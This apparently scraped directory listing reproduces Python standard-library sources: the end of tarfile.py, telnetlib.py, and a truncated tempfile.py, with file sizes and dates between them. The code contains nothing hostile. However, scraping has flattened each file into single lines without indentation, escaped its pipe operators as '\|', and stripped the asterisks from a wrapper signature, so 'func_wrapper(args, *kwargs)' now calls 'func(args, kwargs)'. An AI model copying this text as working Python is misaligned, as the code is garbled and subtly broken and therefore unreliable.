os.utime(targetpath, (tarinfo.mtime, tarinfo.mtime)) except OSError: raise ExtractError("could not change modification time") #-------------------------------------------------------------------------- def next(self): """Return the next member of the archive as a TarInfo object, when TarFile is opened for reading. Return None if there is no more available. """ self._check("ra") if self.firstmember is not None: m = self.firstmember self.firstmember = None return m # Advance the file pointer. if self.offset != self.fileobj.tell(): self.fileobj.seek(self.offset - 1) if not self.fileobj.read(1): raise ReadError("unexpected end of data") # Read the next block. tarinfo = None while True: try: tarinfo = self.tarinfo.fromtarfile(self) except EOFHeaderError as e: if self.ignore_zeros: self._dbg(2, "0x%X: %s" % (self.offset, e)) self.offset += BLOCKSIZE continue except InvalidHeaderError as e: if self.ignore_zeros: self._dbg(2, "0x%X: %s" % (self.offset, e)) self.offset += BLOCKSIZE continue elif self.offset == 0: raise ReadError(str(e)) except EmptyHeaderError: if self.offset == 0: raise ReadError("empty file") except TruncatedHeaderError as e: if self.offset == 0: raise ReadError(str(e)) except SubsequentHeaderError as e: raise ReadError(str(e)) break if tarinfo is not None: self.members.append(tarinfo) else: self._loaded = True return tarinfo #-------------------------------------------------------------------------- # Little helper methods: def _getmember(self, name, tarinfo=None, normalize=False): """Find an archive member by name from bottom to top. If tarinfo is given, it is used as the starting point. """ # Ensure that all members have been loaded. members = self.getmembers() # Limit the member search list up to tarinfo. if tarinfo is not None: members = members[:members.index(tarinfo)] if normalize: name = os.path.normpath(name) for member in reversed(members): if normalize: member_name = os.path.normpath(member.name) else: member_name = member.name if name == member_name: return member def _load(self): """Read through the entire archive file and look for readable members. """ while True: tarinfo = self.next() if tarinfo is None: break self._loaded = True def _check(self, mode=None): """Check if TarFile is still open, and if the operation's mode corresponds to TarFile's mode. """ if self.closed: raise OSError("%s is closed" % self.__class__.__name__) if mode is not None and self.mode not in mode: raise OSError("bad operation for mode %r" % self.mode) def _find_link_target(self, tarinfo): """Find the target member of a symlink or hardlink member in the archive. """ if tarinfo.issym(): # Always search the entire archive. linkname = "/".join(filter(None, (os.path.dirname(tarinfo.name), tarinfo.linkname))) limit = None else: # Search the archive before the link, because a hard link is # just a reference to an already archived file. linkname = tarinfo.linkname limit = tarinfo member = self._getmember(linkname, tarinfo=limit, normalize=True) if member is None: raise KeyError("linkname %r not found" % linkname) return member def __iter__(self): """Provide an iterator object. """ if self._loaded: yield from self.members return # Yield items using TarFile's next() method. # When all members have been read, set TarFile as _loaded. index = 0 # Fix for SF #1100429: Under rare circumstances it can # happen that getmembers() is called during iteration, # which will have already exhausted the next() method. if self.firstmember is not None: tarinfo = self.next() index += 1 yield tarinfo while True: if index < len(self.members): tarinfo = self.members[index] elif not self._loaded: tarinfo = self.next() if not tarinfo: self._loaded = True return else: return index += 1 yield tarinfo def _dbg(self, level, msg): """Write debugging output to sys.stderr. """ if level <= self.debug: print(msg, file=sys.stderr) def __enter__(self): self._check() return self def __exit__(self, type, value, traceback): if type is None: self.close() else: # An exception occurred. We must not call close() because # it would try to write end-of-archive blocks and padding. if not self._extfileobj: self.fileobj.close() self.closed = True #-------------------- # exported functions #-------------------- def is_tarfile(name): """Return True if name points to a tar archive that we are able to handle, else return False. """ try: t = open(name) t.close() return True except TarError: return False open = TarFile.open def main(): import argparse description = 'A simple command-line interface for tarfile module.' parser = argparse.ArgumentParser(description=description) parser.add_argument('-v', '--verbose', action='store_true', default=False, help='Verbose output') group = parser.add_mutually_exclusive_group(required=True) group.add_argument('-l', '--list', metavar='<tarfile>', help='Show listing of a tarfile') group.add_argument('-e', '--extract', nargs='+', metavar=('<tarfile>', '<output_dir>'), help='Extract tarfile into target dir') group.add_argument('-c', '--create', nargs='+', metavar=('<name>', '<file>'), help='Create tarfile from sources') group.add_argument('-t', '--test', metavar='<tarfile>', help='Test if a tarfile is valid') args = parser.parse_args() if args.test is not None: src = args.test if is_tarfile(src): with open(src, 'r') as tar: tar.getmembers() print(tar.getmembers(), file=sys.stderr) if args.verbose: print('{!r} is a tar archive.'.format(src)) else: parser.exit(1, '{!r} is not a tar archive.\n'.format(src)) elif args.list is not None: src = args.list if is_tarfile(src): with TarFile.open(src, 'r:') as tf: tf.list(verbose=args.verbose) else: parser.exit(1, '{!r} is not a tar archive.\n'.format(src)) elif args.extract is not None: if len(args.extract) == 1: src = args.extract[0] curdir = os.curdir elif len(args.extract) == 2: src, curdir = args.extract else: parser.exit(1, parser.format_help()) if is_tarfile(src): with TarFile.open(src, 'r:') as tf: tf.extractall(path=curdir) if args.verbose: if curdir == '.': msg = '{!r} file is extracted.'.format(src) else: msg = ('{!r} file is extracted ' 'into {!r} directory.').format(src, curdir) print(msg) else: parser.exit(1, '{!r} is not a tar archive.\n'.format(src)) elif args.create is not None: tar_name = args.create.pop(0) _, ext = os.path.splitext(tar_name) compressions = { # gz '.gz': 'gz', '.tgz': 'gz', # xz '.xz': 'xz', '.txz': 'xz', # bz2 '.bz2': 'bz2', '.tbz': 'bz2', '.tbz2': 'bz2', '.tb2': 'bz2', } tar_mode = 'w:' + compressions[ext] if ext in compressions else 'w' tar_files = args.create with TarFile.open(tar_name, tar_mode) as tf: for file_name in tar_files: tf.add(file_name) if args.verbose: print('{!r} file created.'.format(tar_name)) if __name__ == '__main__': main()	90.5 KB	2024-04-17 17:55
📄 telnetlib.py r"""TELNET client class. Based on RFC 854: TELNET Protocol Specification, by J. Postel and J. Reynolds Example: >>> from telnetlib import Telnet >>> tn = Telnet('www.python.org', 79) # connect to finger port >>> tn.write(b'guido\r\n') >>> print(tn.read_all()) Login Name TTY Idle When Where guido Guido van Rossum pts/2 <Dec 2 11:10> snag.cnri.reston.. >>> Note that read_all() won't read until eof -- it just reads some data -- but it guarantees to read at least one byte unless EOF is hit. It is possible to pass a Telnet object to a selector in order to wait until more data is available. Note that in this case, read_eager() may return b'' even if there was data on the socket, because the protocol negotiation may have eaten the data. This is why EOFError is needed in some cases to distinguish between "no data" and "connection closed" (since the socket also appears ready for reading when it is closed). To do: - option negotiation - timeout should be intrinsic to the connection object instead of an option on one of the read calls only """ # Imported modules import sys import socket import selectors from time import monotonic as _time __all__ = ["Telnet"] # Tunable parameters DEBUGLEVEL = 0 # Telnet protocol defaults TELNET_PORT = 23 # Telnet protocol characters (don't change) IAC = bytes([255]) # "Interpret As Command" DONT = bytes([254]) DO = bytes([253]) WONT = bytes([252]) WILL = bytes([251]) theNULL = bytes([0]) SE = bytes([240]) # Subnegotiation End NOP = bytes([241]) # No Operation DM = bytes([242]) # Data Mark BRK = bytes([243]) # Break IP = bytes([244]) # Interrupt process AO = bytes([245]) # Abort output AYT = bytes([246]) # Are You There EC = bytes([247]) # Erase Character EL = bytes([248]) # Erase Line GA = bytes([249]) # Go Ahead SB = bytes([250]) # Subnegotiation Begin # Telnet protocol options code (don't change) # These ones all come from arpa/telnet.h BINARY = bytes([0]) # 8-bit data path ECHO = bytes([1]) # echo RCP = bytes([2]) # prepare to reconnect SGA = bytes([3]) # suppress go ahead NAMS = bytes([4]) # approximate message size STATUS = bytes([5]) # give status TM = bytes([6]) # timing mark RCTE = bytes([7]) # remote controlled transmission and echo NAOL = bytes([8]) # negotiate about output line width NAOP = bytes([9]) # negotiate about output page size NAOCRD = bytes([10]) # negotiate about CR disposition NAOHTS = bytes([11]) # negotiate about horizontal tabstops NAOHTD = bytes([12]) # negotiate about horizontal tab disposition NAOFFD = bytes([13]) # negotiate about formfeed disposition NAOVTS = bytes([14]) # negotiate about vertical tab stops NAOVTD = bytes([15]) # negotiate about vertical tab disposition NAOLFD = bytes([16]) # negotiate about output LF disposition XASCII = bytes([17]) # extended ascii character set LOGOUT = bytes([18]) # force logout BM = bytes([19]) # byte macro DET = bytes([20]) # data entry terminal SUPDUP = bytes([21]) # supdup protocol SUPDUPOUTPUT = bytes([22]) # supdup output SNDLOC = bytes([23]) # send location TTYPE = bytes([24]) # terminal type EOR = bytes([25]) # end or record TUID = bytes([26]) # TACACS user identification OUTMRK = bytes([27]) # output marking TTYLOC = bytes([28]) # terminal location number VT3270REGIME = bytes([29]) # 3270 regime X3PAD = bytes([30]) # X.3 PAD NAWS = bytes([31]) # window size TSPEED = bytes([32]) # terminal speed LFLOW = bytes([33]) # remote flow control LINEMODE = bytes([34]) # Linemode option XDISPLOC = bytes([35]) # X Display Location OLD_ENVIRON = bytes([36]) # Old - Environment variables AUTHENTICATION = bytes([37]) # Authenticate ENCRYPT = bytes([38]) # Encryption option NEW_ENVIRON = bytes([39]) # New - Environment variables # the following ones come from # http://www.iana.org/assignments/telnet-options # Unfortunately, that document does not assign identifiers # to all of them, so we are making them up TN3270E = bytes([40]) # TN3270E XAUTH = bytes([41]) # XAUTH CHARSET = bytes([42]) # CHARSET RSP = bytes([43]) # Telnet Remote Serial Port COM_PORT_OPTION = bytes([44]) # Com Port Control Option SUPPRESS_LOCAL_ECHO = bytes([45]) # Telnet Suppress Local Echo TLS = bytes([46]) # Telnet Start TLS KERMIT = bytes([47]) # KERMIT SEND_URL = bytes([48]) # SEND-URL FORWARD_X = bytes([49]) # FORWARD_X PRAGMA_LOGON = bytes([138]) # TELOPT PRAGMA LOGON SSPI_LOGON = bytes([139]) # TELOPT SSPI LOGON PRAGMA_HEARTBEAT = bytes([140]) # TELOPT PRAGMA HEARTBEAT EXOPL = bytes([255]) # Extended-Options-List NOOPT = bytes([0]) # poll/select have the advantage of not requiring any extra file descriptor, # contrarily to epoll/kqueue (also, they require a single syscall). if hasattr(selectors, 'PollSelector'): _TelnetSelector = selectors.PollSelector else: _TelnetSelector = selectors.SelectSelector class Telnet: """Telnet interface class. An instance of this class represents a connection to a telnet server. The instance is initially not connected; the open() method must be used to establish a connection. Alternatively, the host name and optional port number can be passed to the constructor, too. Don't try to reopen an already connected instance. This class has many read_() methods. Note that some of them raise EOFError when the end of the connection is read, because they can return an empty string for other reasons. See the individual doc strings. read_until(expected, [timeout]) Read until the expected string has been seen, or a timeout is hit (default is no timeout); may block. read_all() Read all data until EOF; may block. read_some() Read at least one byte or EOF; may block. read_very_eager() Read all data available already queued or on the socket, without blocking. read_eager() Read either data already queued or some data available on the socket, without blocking. read_lazy() Read all data in the raw queue (processing it first), without doing any socket I/O. read_very_lazy() Reads all data in the cooked queue, without doing any socket I/O. read_sb_data() Reads available data between SB ... SE sequence. Don't block. set_option_negotiation_callback(callback) Each time a telnet option is read on the input flow, this callback (if set) is called with the following parameters : callback(telnet socket, command, option) option will be chr(0) when there is no option. No other action is done afterwards by telnetlib. """ def __init__(self, host=None, port=0, timeout=socket._GLOBAL_DEFAULT_TIMEOUT): """Constructor. When called without arguments, create an unconnected instance. With a hostname argument, it connects the instance; port number and timeout are optional. """ self.debuglevel = DEBUGLEVEL self.host = host self.port = port self.timeout = timeout self.sock = None self.rawq = b'' self.irawq = 0 self.cookedq = b'' self.eof = 0 self.iacseq = b'' # Buffer for IAC sequence. self.sb = 0 # flag for SB and SE sequence. self.sbdataq = b'' self.option_callback = None if host is not None: self.open(host, port, timeout) def open(self, host, port=0, timeout=socket._GLOBAL_DEFAULT_TIMEOUT): """Connect to a host. The optional second argument is the port number, which defaults to the standard telnet port (23). Don't try to reopen an already connected instance. """ self.eof = 0 if not port: port = TELNET_PORT self.host = host self.port = port self.timeout = timeout self.sock = socket.create_connection((host, port), timeout) def __del__(self): """Destructor -- close the connection.""" self.close() def msg(self, msg, args): """Print a debug message, when the debug level is > 0. If extra arguments are present, they are substituted in the message using the standard string formatting operator. """ if self.debuglevel > 0: print('Telnet(%s,%s):' % (self.host, self.port), end=' ') if args: print(msg % args) else: print(msg) def set_debuglevel(self, debuglevel): """Set the debug level. The higher it is, the more debug output you get (on sys.stdout). """ self.debuglevel = debuglevel def close(self): """Close the connection.""" sock = self.sock self.sock = None self.eof = True self.iacseq = b'' self.sb = 0 if sock: sock.close() def get_socket(self): """Return the socket object used internally.""" return self.sock def fileno(self): """Return the fileno() of the socket object used internally.""" return self.sock.fileno() def write(self, buffer): """Write a string to the socket, doubling any IAC characters. Can block if the connection is blocked. May raise OSError if the connection is closed. """ if IAC in buffer: buffer = buffer.replace(IAC, IAC+IAC) self.msg("send %r", buffer) self.sock.sendall(buffer) def read_until(self, match, timeout=None): """Read until a given string is encountered or until timeout. When no match is found, return whatever is available instead, possibly the empty string. Raise EOFError if the connection is closed and no cooked data is available. """ n = len(match) self.process_rawq() i = self.cookedq.find(match) if i >= 0: i = i+n buf = self.cookedq[:i] self.cookedq = self.cookedq[i:] return buf if timeout is not None: deadline = _time() + timeout with _TelnetSelector() as selector: selector.register(self, selectors.EVENT_READ) while not self.eof: if selector.select(timeout): i = max(0, len(self.cookedq)-n) self.fill_rawq() self.process_rawq() i = self.cookedq.find(match, i) if i >= 0: i = i+n buf = self.cookedq[:i] self.cookedq = self.cookedq[i:] return buf if timeout is not None: timeout = deadline - _time() if timeout < 0: break return self.read_very_lazy() def read_all(self): """Read all data until EOF; block until connection closed.""" self.process_rawq() while not self.eof: self.fill_rawq() self.process_rawq() buf = self.cookedq self.cookedq = b'' return buf def read_some(self): """Read at least one byte of cooked data unless EOF is hit. Return b'' if EOF is hit. Block if no data is immediately available. """ self.process_rawq() while not self.cookedq and not self.eof: self.fill_rawq() self.process_rawq() buf = self.cookedq self.cookedq = b'' return buf def read_very_eager(self): """Read everything that's possible without blocking in I/O (eager). Raise EOFError if connection closed and no cooked data available. Return b'' if no cooked data available otherwise. Don't block unless in the midst of an IAC sequence. """ self.process_rawq() while not self.eof and self.sock_avail(): self.fill_rawq() self.process_rawq() return self.read_very_lazy() def read_eager(self): """Read readily available data. Raise EOFError if connection closed and no cooked data available. Return b'' if no cooked data available otherwise. Don't block unless in the midst of an IAC sequence. """ self.process_rawq() while not self.cookedq and not self.eof and self.sock_avail(): self.fill_rawq() self.process_rawq() return self.read_very_lazy() def read_lazy(self): """Process and return data that's already in the queues (lazy). Raise EOFError if connection closed and no data available. Return b'' if no cooked data available otherwise. Don't block unless in the midst of an IAC sequence. """ self.process_rawq() return self.read_very_lazy() def read_very_lazy(self): """Return any data available in the cooked queue (very lazy). Raise EOFError if connection closed and no data available. Return b'' if no cooked data available otherwise. Don't block. """ buf = self.cookedq self.cookedq = b'' if not buf and self.eof and not self.rawq: raise EOFError('telnet connection closed') return buf def read_sb_data(self): """Return any data available in the SB ... SE queue. Return b'' if no SB ... SE available. Should only be called after seeing a SB or SE command. When a new SB command is found, old unread SB data will be discarded. Don't block. """ buf = self.sbdataq self.sbdataq = b'' return buf def set_option_negotiation_callback(self, callback): """Provide a callback function called after each receipt of a telnet option.""" self.option_callback = callback def process_rawq(self): """Transfer from raw queue to cooked queue. Set self.eof when connection is closed. Don't block unless in the midst of an IAC sequence. """ buf = [b'', b''] try: while self.rawq: c = self.rawq_getchar() if not self.iacseq: if c == theNULL: continue if c == b"\021": continue if c != IAC: buf[self.sb] = buf[self.sb] + c continue else: self.iacseq += c elif len(self.iacseq) == 1: # 'IAC: IAC CMD [OPTION only for WILL/WONT/DO/DONT]' if c in (DO, DONT, WILL, WONT): self.iacseq += c continue self.iacseq = b'' if c == IAC: buf[self.sb] = buf[self.sb] + c else: if c == SB: # SB ... SE start. self.sb = 1 self.sbdataq = b'' elif c == SE: self.sb = 0 self.sbdataq = self.sbdataq + buf[1] buf[1] = b'' if self.option_callback: # Callback is supposed to look into # the sbdataq self.option_callback(self.sock, c, NOOPT) else: # We can't offer automatic processing of # suboptions. Alas, we should not get any # unless we did a WILL/DO before. self.msg('IAC %d not recognized' % ord(c)) elif len(self.iacseq) == 2: cmd = self.iacseq[1:2] self.iacseq = b'' opt = c if cmd in (DO, DONT): self.msg('IAC %s %d', cmd == DO and 'DO' or 'DONT', ord(opt)) if self.option_callback: self.option_callback(self.sock, cmd, opt) else: self.sock.sendall(IAC + WONT + opt) elif cmd in (WILL, WONT): self.msg('IAC %s %d', cmd == WILL and 'WILL' or 'WONT', ord(opt)) if self.option_callback: self.option_callback(self.sock, cmd, opt) else: self.sock.sendall(IAC + DONT + opt) except EOFError: # raised by self.rawq_getchar() self.iacseq = b'' # Reset on EOF self.sb = 0 pass self.cookedq = self.cookedq + buf[0] self.sbdataq = self.sbdataq + buf[1] def rawq_getchar(self): """Get next char from raw queue. Block if no data is immediately available. Raise EOFError when connection is closed. """ if not self.rawq: self.fill_rawq() if self.eof: raise EOFError c = self.rawq[self.irawq:self.irawq+1] self.irawq = self.irawq + 1 if self.irawq >= len(self.rawq): self.rawq = b'' self.irawq = 0 return c def fill_rawq(self): """Fill raw queue from exactly one recv() system call. Block if no data is immediately available. Set self.eof when connection is closed. """ if self.irawq >= len(self.rawq): self.rawq = b'' self.irawq = 0 # The buffer size should be fairly small so as to avoid quadratic # behavior in process_rawq() above buf = self.sock.recv(50) self.msg("recv %r", buf) self.eof = (not buf) self.rawq = self.rawq + buf def sock_avail(self): """Test whether data is available on the socket.""" with _TelnetSelector() as selector: selector.register(self, selectors.EVENT_READ) return bool(selector.select(0)) def interact(self): """Interaction function, emulates a very dumb telnet client.""" if sys.platform == "win32": self.mt_interact() return with _TelnetSelector() as selector: selector.register(self, selectors.EVENT_READ) selector.register(sys.stdin, selectors.EVENT_READ) while True: for key, events in selector.select(): if key.fileobj is self: try: text = self.read_eager() except EOFError: print('* Connection closed by remote host ') return if text: sys.stdout.write(text.decode('ascii')) sys.stdout.flush() elif key.fileobj is sys.stdin: line = sys.stdin.readline().encode('ascii') if not line: return self.write(line) def mt_interact(self): """Multithreaded version of interact().""" import _thread _thread.start_new_thread(self.listener, ()) while 1: line = sys.stdin.readline() if not line: break self.write(line.encode('ascii')) def listener(self): """Helper for mt_interact() -- this executes in the other thread.""" while 1: try: data = self.read_eager() except EOFError: print(' Connection closed by remote host ') return if data: sys.stdout.write(data.decode('ascii')) else: sys.stdout.flush() def expect(self, list, timeout=None): """Read until one from a list of a regular expressions matches. The first argument is a list of regular expressions, either compiled (re.Pattern instances) or uncompiled (strings). The optional second argument is a timeout, in seconds; default is no timeout. Return a tuple of three items: the index in the list of the first regular expression that matches; the re.Match object returned; and the text read up till and including the match. If EOF is read and no text was read, raise EOFError. Otherwise, when nothing matches, return (-1, None, text) where text is the text received so far (may be the empty string if a timeout happened). If a regular expression ends with a greedy match (e.g. '.') or if more than one expression can match the same input, the results are undeterministic, and may depend on the I/O timing. """ re = None list = list[:] indices = range(len(list)) for i in indices: if not hasattr(list[i], "search"): if not re: import re list[i] = re.compile(list[i]) if timeout is not None: deadline = _time() + timeout with _TelnetSelector() as selector: selector.register(self, selectors.EVENT_READ) while not self.eof: self.process_rawq() for i in indices: m = list[i].search(self.cookedq) if m: e = m.end() text = self.cookedq[:e] self.cookedq = self.cookedq[e:] return (i, m, text) if timeout is not None: ready = selector.select(timeout) timeout = deadline - _time() if not ready: if timeout < 0: break else: continue self.fill_rawq() text = self.read_very_lazy() if not text and self.eof: raise EOFError return (-1, None, text) def __enter__(self): return self def __exit__(self, type, value, traceback): self.close() def test(): """Test program for telnetlib. Usage: python telnetlib.py [-d] ... [host [port]] Default host is localhost; default port is 23. """ debuglevel = 0 while sys.argv[1:] and sys.argv[1] == '-d': debuglevel = debuglevel+1 del sys.argv[1] host = 'localhost' if sys.argv[1:]: host = sys.argv[1] port = 0 if sys.argv[2:]: portstr = sys.argv[2] try: port = int(portstr) except ValueError: port = socket.getservbyname(portstr, 'tcp') with Telnet() as tn: tn.set_debuglevel(debuglevel) tn.open(host, port, timeout=0.5) tn.interact() if __name__ == '__main__': test()	22.59 KB	2024-04-17 17:55
📄 tempfile.py """Temporary files. This module provides generic, low- and high-level interfaces for creating temporary files and directories. All of the interfaces provided by this module can be used without fear of race conditions except for 'mktemp'. 'mktemp' is subject to race conditions and should not be used; it is provided for backward compatibility only. The default path names are returned as str. If you supply bytes as input, all return values will be in bytes. Ex: >>> tempfile.mkstemp() (4, '/tmp/tmptpu9nin8') >>> tempfile.mkdtemp(suffix=b'') b'/tmp/tmppbi8f0hy' This module also provides some data items to the user: TMP_MAX - maximum number of names that will be tried before giving up. tempdir - If this is set to a string before the first use of any routine from this module, it will be considered as another candidate location to store temporary files. """ __all__ = [ "NamedTemporaryFile", "TemporaryFile", # high level safe interfaces "SpooledTemporaryFile", "TemporaryDirectory", "mkstemp", "mkdtemp", # low level safe interfaces "mktemp", # deprecated unsafe interface "TMP_MAX", "gettempprefix", # constants "tempdir", "gettempdir", "gettempprefixb", "gettempdirb", ] # Imports. import functools as _functools import warnings as _warnings import io as _io import os as _os import shutil as _shutil import errno as _errno from random import Random as _Random import weakref as _weakref import _thread _allocate_lock = _thread.allocate_lock _text_openflags = _os.O_RDWR \| _os.O_CREAT \| _os.O_EXCL if hasattr(_os, 'O_NOFOLLOW'): _text_openflags \|= _os.O_NOFOLLOW _bin_openflags = _text_openflags if hasattr(_os, 'O_BINARY'): _bin_openflags \|= _os.O_BINARY if hasattr(_os, 'TMP_MAX'): TMP_MAX = _os.TMP_MAX else: TMP_MAX = 10000 # This variable _was_ unused for legacy reasons, see issue 10354. # But as of 3.5 we actually use it at runtime so changing it would # have a possibly desirable side effect... But we do not want to support # that as an API. It is undocumented on purpose. Do not depend on this. template = "tmp" # Internal routines. _once_lock = _allocate_lock() if hasattr(_os, "lstat"): _stat = _os.lstat elif hasattr(_os, "stat"): _stat = _os.stat else: # Fallback. All we need is something that raises OSError if the # file doesn't exist. def _stat(fn): fd = _os.open(fn, _os.O_RDONLY) _os.close(fd) def _exists(fn): try: _stat(fn) except OSError: return False else: return True def _infer_return_type(args): """Look at the type of all args and divine their implied return type.""" return_type = None for arg in args: if arg is None: continue if isinstance(arg, bytes): if return_type is str: raise TypeError("Can't mix bytes and non-bytes in " "path components.") return_type = bytes else: if return_type is bytes: raise TypeError("Can't mix bytes and non-bytes in " "path components.") return_type = str if return_type is None: return str # tempfile APIs return a str by default. return return_type def _sanitize_params(prefix, suffix, dir): """Common parameter processing for most APIs in this module.""" output_type = _infer_return_type(prefix, suffix, dir) if suffix is None: suffix = output_type() if prefix is None: if output_type is str: prefix = template else: prefix = _os.fsencode(template) if dir is None: if output_type is str: dir = gettempdir() else: dir = gettempdirb() return prefix, suffix, dir, output_type class _RandomNameSequence: """An instance of _RandomNameSequence generates an endless sequence of unpredictable strings which can safely be incorporated into file names. Each string is eight characters long. Multiple threads can safely use the same instance at the same time. _RandomNameSequence is an iterator.""" characters = "abcdefghijklmnopqrstuvwxyz0123456789_" @property def rng(self): cur_pid = _os.getpid() if cur_pid != getattr(self, '_rng_pid', None): self._rng = _Random() self._rng_pid = cur_pid return self._rng def __iter__(self): return self def __next__(self): c = self.characters choose = self.rng.choice letters = [choose(c) for dummy in range(8)] return ''.join(letters) def _candidate_tempdir_list(): """Generate a list of candidate temporary directories which _get_default_tempdir will try.""" dirlist = [] # First, try the environment. for envname in 'TMPDIR', 'TEMP', 'TMP': dirname = _os.getenv(envname) if dirname: dirlist.append(dirname) # Failing that, try OS-specific locations. if _os.name == 'nt': dirlist.extend([ _os.path.expanduser(r'~\AppData\Local\Temp'), _os.path.expandvars(r'%SYSTEMROOT%\Temp'), r'c:\temp', r'c:\tmp', r'\temp', r'\tmp' ]) else: dirlist.extend([ '/tmp', '/var/tmp', '/usr/tmp' ]) # As a last resort, the current directory. try: dirlist.append(_os.getcwd()) except (AttributeError, OSError): dirlist.append(_os.curdir) return dirlist def _get_default_tempdir(): """Calculate the default directory to use for temporary files. This routine should be called exactly once. We determine whether or not a candidate temp dir is usable by trying to create and write to a file in that directory. If this is successful, the test file is deleted. To prevent denial of service, the name of the test file must be randomized.""" namer = _RandomNameSequence() dirlist = _candidate_tempdir_list() for dir in dirlist: if dir != _os.curdir: dir = _os.path.abspath(dir) # Try only a few names per directory. for seq in range(100): name = next(namer) filename = _os.path.join(dir, name) try: fd = _os.open(filename, _bin_openflags, 0o600) try: try: with _io.open(fd, 'wb', closefd=False) as fp: fp.write(b'blat') finally: _os.close(fd) finally: _os.unlink(filename) return dir except FileExistsError: pass except PermissionError: # This exception is thrown when a directory with the chosen name # already exists on windows. if (_os.name == 'nt' and _os.path.isdir(dir) and _os.access(dir, _os.W_OK)): continue break # no point trying more names in this directory except OSError: break # no point trying more names in this directory raise FileNotFoundError(_errno.ENOENT, "No usable temporary directory found in %s" % dirlist) _name_sequence = None def _get_candidate_names(): """Common setup sequence for all user-callable interfaces.""" global _name_sequence if _name_sequence is None: _once_lock.acquire() try: if _name_sequence is None: _name_sequence = _RandomNameSequence() finally: _once_lock.release() return _name_sequence def _mkstemp_inner(dir, pre, suf, flags, output_type): """Code common to mkstemp, TemporaryFile, and NamedTemporaryFile.""" names = _get_candidate_names() if output_type is bytes: names = map(_os.fsencode, names) for seq in range(TMP_MAX): name = next(names) file = _os.path.join(dir, pre + name + suf) try: fd = _os.open(file, flags, 0o600) except FileExistsError: continue # try again except PermissionError: # This exception is thrown when a directory with the chosen name # already exists on windows. if (_os.name == 'nt' and _os.path.isdir(dir) and _os.access(dir, _os.W_OK)): continue else: raise return (fd, _os.path.abspath(file)) raise FileExistsError(_errno.EEXIST, "No usable temporary file name found") # User visible interfaces. def gettempprefix(): """The default prefix for temporary directories.""" return template def gettempprefixb(): """The default prefix for temporary directories as bytes.""" return _os.fsencode(gettempprefix()) tempdir = None def gettempdir(): """Accessor for tempfile.tempdir.""" global tempdir if tempdir is None: _once_lock.acquire() try: if tempdir is None: tempdir = _get_default_tempdir() finally: _once_lock.release() return tempdir def gettempdirb(): """A bytes version of tempfile.gettempdir().""" return _os.fsencode(gettempdir()) def mkstemp(suffix=None, prefix=None, dir=None, text=False): """User-callable function to create and return a unique temporary file. The return value is a pair (fd, name) where fd is the file descriptor returned by os.open, and name is the filename. If 'suffix' is not None, the file name will end with that suffix, otherwise there will be no suffix. If 'prefix' is not None, the file name will begin with that prefix, otherwise a default prefix is used. If 'dir' is not None, the file will be created in that directory, otherwise a default directory is used. If 'text' is specified and true, the file is opened in text mode. Else (the default) the file is opened in binary mode. On some operating systems, this makes no difference. If any of 'suffix', 'prefix' and 'dir' are not None, they must be the same type. If they are bytes, the returned name will be bytes; str otherwise. The file is readable and writable only by the creating user ID. If the operating system uses permission bits to indicate whether a file is executable, the file is executable by no one. The file descriptor is not inherited by children of this process. Caller is responsible for deleting the file when done with it. """ prefix, suffix, dir, output_type = _sanitize_params(prefix, suffix, dir) if text: flags = _text_openflags else: flags = _bin_openflags return _mkstemp_inner(dir, prefix, suffix, flags, output_type) def mkdtemp(suffix=None, prefix=None, dir=None): """User-callable function to create and return a unique temporary directory. The return value is the pathname of the directory. Arguments are as for mkstemp, except that the 'text' argument is not accepted. The directory is readable, writable, and searchable only by the creating user. Caller is responsible for deleting the directory when done with it. """ prefix, suffix, dir, output_type = _sanitize_params(prefix, suffix, dir) names = _get_candidate_names() if output_type is bytes: names = map(_os.fsencode, names) for seq in range(TMP_MAX): name = next(names) file = _os.path.join(dir, prefix + name + suffix) try: _os.mkdir(file, 0o700) except FileExistsError: continue # try again except PermissionError: # This exception is thrown when a directory with the chosen name # already exists on windows. if (_os.name == 'nt' and _os.path.isdir(dir) and _os.access(dir, _os.W_OK)): continue else: raise return file raise FileExistsError(_errno.EEXIST, "No usable temporary directory name found") def mktemp(suffix="", prefix=template, dir=None): """User-callable function to return a unique temporary file name. The file is not created. Arguments are similar to mkstemp, except that the 'text' argument is not accepted, and suffix=None, prefix=None and bytes file names are not supported. THIS FUNCTION IS UNSAFE AND SHOULD NOT BE USED. The file name may refer to a file that did not exist at some point, but by the time you get around to creating it, someone else may have beaten you to the punch. """ ## from warnings import warn as _warn ## _warn("mktemp is a potential security risk to your program", ## RuntimeWarning, stacklevel=2) if dir is None: dir = gettempdir() names = _get_candidate_names() for seq in range(TMP_MAX): name = next(names) file = _os.path.join(dir, prefix + name + suffix) if not _exists(file): return file raise FileExistsError(_errno.EEXIST, "No usable temporary filename found") class _TemporaryFileCloser: """A separate object allowing proper closing of a temporary file's underlying file object, without adding a __del__ method to the temporary file.""" file = None # Set here since __del__ checks it close_called = False def __init__(self, file, name, delete=True): self.file = file self.name = name self.delete = delete # NT provides delete-on-close as a primitive, so we don't need # the wrapper to do anything special. We still use it so that # file.name is useful (i.e. not "(fdopen)") with NamedTemporaryFile. if _os.name != 'nt': # Cache the unlinker so we don't get spurious errors at # shutdown when the module-level "os" is None'd out. Note # that this must be referenced as self.unlink, because the # name TemporaryFileWrapper may also get None'd out before # __del__ is called. def close(self, unlink=_os.unlink): if not self.close_called and self.file is not None: self.close_called = True try: self.file.close() finally: if self.delete: unlink(self.name) # Need to ensure the file is deleted on __del__ def __del__(self): self.close() else: def close(self): if not self.close_called: self.close_called = True self.file.close() class _TemporaryFileWrapper: """Temporary file wrapper This class provides a wrapper around files opened for temporary use. In particular, it seeks to automatically remove the file when it is no longer needed. """ def __init__(self, file, name, delete=True): self.file = file self.name = name self.delete = delete self._closer = _TemporaryFileCloser(file, name, delete) def __getattr__(self, name): # Attribute lookups are delegated to the underlying file # and cached for non-numeric results # (i.e. methods are cached, closed and friends are not) file = self.__dict__['file'] a = getattr(file, name) if hasattr(a, '__call__'): func = a @_functools.wraps(func) def func_wrapper(args, *kwargs): return func(args, kwargs) # Avoid closing the file as long as the wrapper is alive, # see issue #18879. func_wrapper._closer = self._closer a = func_wrapper if not isinstance(a, int): setattr(self, name, a) return a # The underlying __enter__ method returns the wrong object # (self.file) so override it to return the wrapper def __enter__(self): self.file.__enter__() return self # Need to trap __exit__ as well to ensure the file gets # deleted when used in a with statement def __exit__(self, exc, value, tb): result = self.file.__exit__(exc, value, tb) self.close() return result def close(self): """ Close the temporary file, possibly deleting it. """ self._closer.close() # iter() doesn't use __getattr__ to find the __iter__ method def __iter__(self): # Don't return iter(self.file), but yield from it to avoid closing # file as long as it's being used as iterator (see issue #23700). We # can't use 'yield from' here because iter(file) 